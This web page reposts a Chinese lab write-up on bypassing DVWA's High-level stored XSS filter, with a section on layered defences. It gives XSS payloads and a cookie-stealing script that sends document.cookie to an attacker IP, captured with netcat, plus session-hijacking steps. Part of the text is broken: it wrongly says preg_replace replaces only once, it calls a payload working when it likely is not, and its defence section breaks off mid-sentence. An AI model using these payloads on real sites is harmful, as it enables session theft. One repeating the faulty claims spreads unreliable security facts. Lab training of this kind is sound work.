尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DVWA High级别存储型XSS攻防实战:绕过正则过滤与多层防御构建

DVWA High级别存储型XSS攻防实战:绕过正则过滤与多层防御构建
📅 发布时间:2026/8/1 10:56:36

1. 项目概述:一次针对High级别存储型XSS的深度攻防演练

最近在带团队做内部安全能力提升,又把DVWA(Damn Vulnerable Web Application)这个经典靶场翻了出来。这次我们聚焦在“存储型XSS”这个老生常谈,但常谈常新的漏洞上,并且把难度直接拉到了High级别。很多朋友可能觉得,XSS嘛,不就是弹个框,搞个Cookie,在Low和Medium级别玩得飞起,一到High或者遇到一些看似简单的过滤就束手无策了。这次实战,我们就来彻底拆解DVWA High级别的存储型XSS防护机制,看看它到底“高”在哪里,我们又如何从攻击者的视角去思考绕过,最后再从防御者的角度,构建一个立体的防御思路。这不仅仅是一次靶场通关,更是一次完整的攻防思维训练。

存储型XSS(Stored Cross-Site Scripting)之所以危险,在于它的“存储”特性。恶意脚本被提交并保存到服务器端(比如数据库、文件或内存缓存中),当其他用户访问包含该数据的页面时,脚本就会在其浏览器中执行。这意味着一次攻击可以影响大量用户,危害远大于反射型XSS。DVWA的High级别,通常模拟了企业环境中相对严格的、但并非无懈可击的防御措施,比如输入过滤、输出编码、内容安全策略(CSP)的雏形等。我们的目标就是找到这些防御措施的“缝隙”。

2. 环境搭建与目标分析

2.1 DVWA High级别存储型XSS模块初探

首先,确保你的DVWA环境已经就绪,并且将安全级别设置为“High”。在存储型XSS(Stored XSS)模块下,你会看到一个简单的留言板界面,包含“Name”和“Message”两个输入框。在Low和Medium级别,我们可以轻易地注入<script>alert(1)</script>之类的脚本来弹窗。但在High级别,你会发现这些“直球”攻击完全失效了。

尝试在“Name”或“Message”中输入经典的<script>alert(document.cookie)</script>并提交。页面刷新后,你大概率看不到弹窗,脚本似乎被“吃掉”了。查看页面源代码(Ctrl+U或F12打开开发者工具),你会发现输入的内容被原样显示了出来,但<script>标签并没有被浏览器解析为可执行脚本。这就是High级别防御的第一道关卡:输出处理。

注意:DVWA的不同版本(如1.9, 1.10)在High级别的具体实现上可能有细微差别,但核心防御思路是一致的。本文基于较常见的实现进行讲解,核心绕过思想具有通用性。

2.2 防御机制静态分析

在发起攻击前,聪明的攻击者会先尝试理解防御机制。我们可以通过查看前端HTML代码和后端逻辑(如果有源码权限)来推测。

前端观察:提交表单后,观察URL和页面响应。通常,High级别的防御不会依赖前端JavaScript验证(因为易被绕过),所以重点在后端。

源码分析(关键):DVWA是开源项目,我们可以直接查看其PHP源码。找到vulnerabilities/xss_s/目录下的source子目录,查看high.php文件。这里揭示了防御的核心。以常见版本为例,其关键代码可能如下:

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // 获取输入 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 对“Name”字段进行严格过滤:只允许字母和数字 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 对“Message”字段进行消毒:使用`htmlspecialchars`函数 $message = htmlspecialchars( $message ); // 数据库查询...(略) ?>

这段代码透露了两个重要信息:

  1. 对Name字段的过滤:使用了一个正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i来尝试删除“script”这个关键词。注意,这个正则匹配的是<script这个标签开头,并且它试图通过(.*)来匹配可能插入的干扰字符(如换行、空格、其他标签),但它的逻辑是“删除匹配到的部分”。这个正则本身就可能存在绕过问题。
  2. 对Message字段的消毒:使用了htmlspecialchars($message)。这个PHP函数默认会将特殊字符转换为HTML实体,例如<变成&lt;,>变成&gt;,"变成&quot;等。这通常能非常有效地防止XSS,因为浏览器会将实体解码为显示字符,而非HTML标签。

基于此,我们的攻击面分析如下:

  • Name字段:防御相对较弱,是一个自定义的、可能不完善的正则过滤。这是我们的主要突破口。
  • Message字段:防御很强,使用了标准的输出编码函数。直接注入脚本到此字段几乎不可能成功,需要转换思路。

3. 核心攻击思路:绕过有缺陷的正则过滤

既然Message字段被htmlspecialchars锁死,我们就主攻Name字段。那个正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是我们的目标。

3.1 正则表达式缺陷分析

这个正则的目的是匹配任何形式的<script(不区分大小写),无论<和s之间、s和c之间等插入了什么字符((.*)表示匹配任意字符零次或多次)。看起来无懈可击?实则不然。关键在于它执行的是preg_replace,即替换为空字符串。它只执行一次替换。

这就引出了经典的“递归过滤绕过”问题。如果我们的payload在经过一次过滤后,剩下的部分恰好又能组合成一个新的有效标签,那么攻击就成功了。

思考过程:假设我们输入<scr<script>ipt>alert(1)</script>。

  1. 后端接收到这个字符串。
  2. 正则引擎开始查找<script。它找到了第一个<script(即<scr<script>中的<script部分)。
  3. 引擎将匹配到的<script(从第一个<到t)替换为空字符串。
  4. 替换后的字符串变为:<script>alert(1)</script>。
  5. 注意:替换操作只进行一次。现在字符串里剩下的<script>是一个完整的、未被过滤的脚本标签,因为正则已经执行完毕,不会再对结果进行第二次扫描。

3.2 构造有效Payload

根据以上分析,我们可以构造第一个有效的Payload:

Payload 1: 递归绕过

Name: <scr<script>ipt>alert(1)</script> Message: (任意内容,如test)

提交后,查看页面源码,你会发现Name处显示为<script>alert(1)</script>。当页面加载时,这个脚本就会执行。

Payload 2: 利用标签属性事件正则只匹配<script,但XSS并非只有<script>标签。HTML很多标签支持事件处理器(如onclick,onmouseover,onload,onerror)。我们可以尝试注入一个带事件的标签,例如<img>。

Name: <img src=x onerror=alert(1)>

提交测试。如果成功,说明正则没有过滤<img。但High级别通常会更严格。我们查看源码,可能会发现Name处变成了<img src=x onerror=alert(1)>,但并没有弹窗。这是因为输出到HTML属性中的值,如果没有被引号包裹或者被编码,也可能被防御。我们需要更精细的构造。

Payload 3: 结合大小写与嵌套绕过正则使用了i修饰符,表示不区分大小写,所以ScRiPt也会被匹配。但我们的递归绕过思路依然有效。更进一步,我们可以尝试不使用<script>标签。

Name: <svg/onload=alert(1)>

<svg>是一个HTML5标签,它支持onload事件。如果正则只针对<script,那么这个payload可能直接绕过。

实操验证:经过测试,在典型的DVWA High设置下,Payload 1(<scr<script>ipt>alert(1)</script>)是稳定可用的。这说明自定义正则过滤的“一次性替换”逻辑是重大缺陷。

3.3 攻击扩展:窃取Cookie与会话劫持

弹窗(alert)只是证明漏洞存在。真实的攻击目的是窃取敏感信息。最常见的目的是窃取用户的会话Cookie。

我们可以构造一个Payload,将当前用户的Cookie发送到我们控制的服务器上。

  1. 准备接收端:你需要一个能接收HTTP请求并查看日志的服务器。对于本地测试,可以用nc(Netcat)监听一个端口,或者使用Burp Suite的Collaborator功能,甚至一些在线请求测试网站(注意安全,勿泄露真实数据)。

    • 使用nc监听:在攻击机终端运行nc -lvnp 9999,监听9999端口。
  2. 构造窃取Cookie的Payload:

    Name: <scr<script>ipt>var img=new Image();img.src='http://你的IP:9999/?'+document.cookie;</script>

    这个脚本会创建一个不可见的Image对象,并将其src属性设置为一个指向你服务器的URL,并将Cookie作为查询参数附加上去。

  3. 实施攻击:以攻击者身份(或用一个测试账号)在DVWA的存储型XSS页面提交这个Payload。然后,诱使或等待其他用户(比如管理员)访问这个留言板页面。

  4. 接收结果:当受害用户访问页面时,脚本在其浏览器中执行。你会看到你的nc监听端收到了一个HTTP GET请求,请求的URL中包含了该用户的DVWA会话Cookie(通常是PHPSESSID)。

  5. 会话劫持:攻击者复制这个PHPSESSID值,在自己的浏览器中使用开发者工具(Application/Cookies)修改当前DVWA会话的Cookie值,刷新页面,即可直接以受害用户的身份登录系统,无需密码。

实操心得:在实际渗透测试中,document.cookie可能因为HttpOnly属性而无法被JavaScript读取,从而保护了会话Cookie。但很多应用并未全局设置HttpOnly。DVWA的默认会话Cookie通常没有设置HttpOnly,因此可以被窃取。这提醒我们,防御XSS时,给关键Cookie设置HttpOnly属性是至关重要的一环。

4. 防御视角:构建多层防御体系

成功绕过攻击后,我们切换视角,作为防御者来审视如何修复和加固这个应用。单一的防御措施很容易被绕过,我们需要一个深度防御(Defense in Depth)策略。

4.1 第一层:输入验证与规范化

对于Name字段,原来的正则过滤是无效且危险的。我们应该采用“白名单”策略,只允许符合预期格式的字符。

  • 修复方案:如果Name只能是用户名,我们可以限制为字母、数字和少量特殊字符,并限制长度。
    // 更安全的Name过滤:只允许字母、数字、空格、连字符、下划线,且限制长度 if (preg_match('/^[a-zA-Z0-9\s\-_]{1,30}$/', $name)) { // 通过验证 } else { // 拒绝输入,返回错误 die('Invalid name format.'); }
    为什么这么做?白名单比黑名单(试图过滤所有坏字符)可靠得多。你定义什么是允许的,其他一切都拒绝。

4.2 第二层:输出编码(最关键)

这是防止XSS最有效、最根本的手段。在任何不可信的数据被插入到HTML文档中时,都必须根据上下文进行正确的编码。

  • HTML正文上下文(如<div>$message</div>):使用htmlspecialchars($var, ENT_QUOTES, 'UTF-8')。ENT_QUOTES会同时编码单双引号,防止属性逃逸。DVWA的Message字段已经做了这一点,做得很好。
  • HTML属性上下文(如<input value="$name">):同样使用htmlspecialchars,并且属性值一定要用引号括起来(双引号或单引号)。否则,攻击者可以轻易闭合属性,注入新的事件。例如,如果代码是<input value=>,攻击者输入x οnclick=alert(1),就会变成`,导致XSS。
  • JavaScript上下文(如<script>var name = "<?php echo $name; ?>";</script>):不能直接用HTML编码。需要使用针对JavaScript的编码,如json_encode($var)(对于字符串)或专门的JS编码函数。更好的做法是避免将动态数据直接放入JS,而是通过HTML>ini_set('session.cookie_httponly', 1);或者修改php.ini。这样,document.cookie将无法读取到该Cookie,攻击者窃取会话的难度大大增加。

4.5 第五层:框架与库的安全使用

现代前端框架(如React, Vue, Angular)和模板引擎(如Twig, Smarty)通常内置了自动转义机制,能很大程度上避免XSS。但开发者需要了解其原理,避免使用危险的API(如React的dangerouslySetInnerHTML, Vue的v-html)。

5. 实战演练:从攻击到防御的完整复盘

让我们将攻击和防御串联起来,进行一次完整复盘。

攻击链复盘:

  1. 信息收集:发现存储型XSS功能点(留言板)。
  2. 探测防御:输入简单payload(<script>alert(1)</script>)失败,推测存在过滤。
  3. 分析机制:通过源码或黑盒测试(如输入<scri<script>pt>观察输出),推断出Name字段存在基于正则的替换过滤,且只执行一次。
  4. 构造绕过:利用递归过滤缺陷,构造Payload<scr<script>ipt>alert(1)</script>。
  5. 升级攻击:将弹窗payload替换为窃取Cookie的payload,搭建服务器接收数据。
  6. 达成目标:获取管理员Cookie,完成会话劫持。

防御加固实施清单:

  1. 输入层:将Name字段的过滤改为严格的白名单正则验证,拒绝非法格式。
  2. 输出层:确保所有用户可控数据在输出到HTML时,都经过htmlspecialchars($var, ENT_QUOTES, 'UTF-8')处理。这是修复本次漏洞最直接有效的方法。
  3. 协议层:为会话Cookie设置HttpOnly和Secure(如果使用HTTPS)属性。
  4. 架构层:制定并部署适合应用的内容安全策略(CSP)。
  5. 开发层:对团队进行安全编码培训,强调“不可信数据必须编码输出”的原则,并推荐使用具有自动转义功能的现代开发框架。

6. 常见问题与排查技巧实录

在实际的漏洞挖掘和修复过程中,你会遇到各种各样的问题。下面记录一些典型场景和解决思路。

Q1: 我按照Payload输入了,但查看页面源码,发现<script>标签还在,可就是不弹窗,为什么?A1: 这是最常见的问题。可能的原因有:

  • CSP阻止:浏览器控制台(F12 -> Console)可能会有CSP违规错误提示。这说明网站部署了CSP,阻止了内联脚本执行。
  • 脚本被HTML编码:仔细看源码,<是否被显示为&lt;?如果是,说明输出编码生效了,你的绕过Payload虽然绕过了输入过滤,但没绕过输出编码。你需要寻找未编码的输出点。
  • 语法错误:你的Payload在拼接后可能存在JavaScript语法错误。可以在Payload中使用console.log(1)先测试脚本是否执行,再替换为复杂的窃取逻辑。
  • 标签未闭合或格式错误:确保构造的HTML标签是格式良好的。使用浏览器开发者工具的“元素检查”功能,看看你注入的代码被解析成了什么样的DOM结构。

Q2: 除了<script>和事件属性,还有哪些XSS向量?A2: 非常多,取决于浏览器和上下文。

  • SVG:<svg><script>alert(1)</script></svg>或<svg/onload=alert(1)>。
  • <iframe>:<iframe src="javascript:alert(1)">(需要浏览器支持,且现代浏览器限制增多)。
  • <link>标签:结合某些属性可能导致代码执行(研究较少,但存在)。
  • CSS表达式(IE):<div style="width: expression(alert(1))">(仅限旧版IE)。
  • 模板注入:如果数据被放入JavaScript模板字符串中,可能造成JS上下文下的XSS。排查技巧:保持一个不断更新的XSS备忘单(Cheat Sheet),例如参考OWASP的XSS Filter Evasion Cheat Sheet,并在测试时使用浏览器扩展(如XSS Strike)辅助测试多种向量。

Q3: 输出编码用了htmlspecialchars,但好像还是出问题了?A3: 确保使用了正确的参数:htmlspecialchars($var, ENT_QUOTES | ENT_HTML5, 'UTF-8')。

  • ENT_QUOTES:编码单引号和双引号,防止属性逃逸。
  • ENT_HTML5:使用HTML5的字符引用规则。
  • 'UTF-8':指定字符编码,防止编码不一致导致的绕过(如UTF-7攻击)。
  • 最重要的:检查输出上下文。如果你把编码后的数据放到了<script>标签内部或者HTML属性里,但没有用引号包裹,编码是无效的。例如:<script>var a = <?php echo htmlspecialchars($input); ?>;</script>,如果$input是1; alert(1)//,编码后是1; alert(1)//,这不会改变它在JS中的语义,依然是危险的。正确的做法是:var a = "<?php echo htmlspecialchars($input); ?>";。

Q4: 部署CSP后网站功能异常怎么办?A4: 按以下步骤排查:

  1. 使用Report-Only模式:先不强制执行,只报告违规。
  2. 分析浏览器报告:查看浏览器控制台或配置的CSP报告接收端点,找出被阻止的资源。
  3. 调整策略:根据报告,将合法的外部域名(如CDN)加入白名单(如script-src 'self' https://cdn.example.com)。对于必须的内联脚本或样式,可以考虑使用nonce或hash源来允许特定的内联内容,而不是简单地启用unsafe-inline。
  4. 逐步收紧:从较宽松的策略开始,逐步移除不必要的源,最终达到最严格的策略。

7. 工具辅助与自动化测试思路

手动测试虽然深刻,但效率有限。在实际工作中,我们可以借助工具。

  • Burp Suite:使用Intruder模块对输入点进行模糊测试(Fuzzing),加载XSS payload字典,自动化探测过滤规则和潜在绕过点。Repeater模块用于手动调整和重放请求,分析响应。
  • OWASP ZAP:类似的自动化漏洞扫描器,可以主动扫描XSS漏洞。
  • 浏览器扩展:如“XSS Helper”、“EditThisCookie”等,方便地构造和测试payload,管理Cookie。
  • 自定义脚本:对于复杂的过滤逻辑,可以编写Python脚本,模拟后端过滤函数,本地批量生成和测试可能的绕过payload。

自动化测试流程建议:

  1. 爬虫阶段:使用工具爬取目标网站所有功能点和参数。
  2. 探测阶段:对所有输入点(表单、URL参数、HTTP头)注入无害的测试字符(如< > " ' &),观察响应,判断是否存在过滤或编码。
  3. 攻击阶段:对可能存在问题的点,使用工具或脚本加载更全面的XSS payload列表进行攻击。
  4. 验证阶段:人工验证工具报告的潜在漏洞,排除误报,并深入分析漏洞成因和利用方式。

最后,我想分享一点个人体会:安全攻防的本质是思维的对抗。像这次DVWA High级别的XSS,它模拟的是一种“自以为安全”的防御心态——写了一个复杂的正则就觉得高枕无忧。而攻击者正是要找到这种“自以为”背后的逻辑盲点。作为防御者,我们必须摒弃“单点防御”的思想,建立起从输入、处理、输出到运行时环境的层层防线。每一次成功的绕过,都是对防御体系最直接的警示;而每一处扎实的修复,都是对攻击成本的有效提升。把DVWA这样的靶场吃透,举一反三,你在面对真实世界纷繁复杂的Web应用时,才能既有攻击者的敏锐,也有防御者的周全。

相关新闻

  • 计算机毕业设计之基于SpringBoot+Vue的公益捐赠系统的设计与实现
  • Java DelayQueue实战:从订单超时到延时队列的设计与避坑指南
  • 自动控制原理核心:方框图化简规则与实战解析

最新新闻

  • Windows ADB驱动安装终极指南:3分钟一键解决Android连接问题
  • 2026莆田有名的债务纠纷律师实用参考指南 - 谁都没有我好看
  • 互联网医院牌照办理主要流程
  • 软件测试CNAS实验室评审,关键岗位人员自查清单
  • 自助服务终端条码扫描器选型方案:XT206H1成像解码与抗干扰技术解析
  • 2026年义乌合同纠纷律师推荐:5位口碑与实力兼具的务实之选 - 本地品牌推荐

日新闻

  • ClickHouse版本管理深度实战:4步构建零风险升级与回滚体系
  • Java 23 种设计模式:从踩坑到精通 | 番外:责任链模式 —— 物流审批流程实战
  • 华硕笔记本性能解放指南:G-Helper轻量级控制工具全面解析

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • ClickHouse版本管理深度实战:4步构建零风险升级与回滚体系
  • Java 23 种设计模式:从踩坑到精通 | 番外:责任链模式 —— 物流审批流程实战
  • 华硕笔记本性能解放指南:G-Helper轻量级控制工具全面解析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号